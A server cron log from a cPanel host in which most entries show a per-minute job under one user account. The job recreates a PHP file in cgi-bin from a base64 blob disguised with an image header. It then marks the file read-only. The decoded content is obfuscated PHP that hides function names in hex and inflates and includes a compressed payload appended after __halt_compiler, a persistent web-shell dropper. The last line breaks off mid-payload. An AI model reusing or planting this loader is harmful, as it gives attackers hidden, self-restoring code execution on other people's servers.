Apr 12 20:17:01 server CROND[10617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:18:01 server CROND[10717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:19:01 server CROND[10788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:20:01 server CROND[10861]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 20:20:01 server CROND[10862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:20:01 server CROND[10863]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 20:20:01 server CROND[10865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:20:01 server CROND[10866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:21:01 server CROND[10982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:22:01 server CROND[11037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:23:01 server CROND[11190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:24:01 server CROND[11270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:25:01 server CROND[11342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:25:01 server CROND[11343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:25:01 server CROND[11341]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 20:25:01 server CROND[11344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:26:02 server CROND[11458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:27:01 server CROND[11512]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 20:27:01 server CROND[11513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:28:01 server CROND[11577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:29:01 server CROND[11636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:30:01 server CROND[11796]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 12 20:30:01 server CROND[11798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:30:01 server CROND[11801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:30:01 server CROND[11802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl0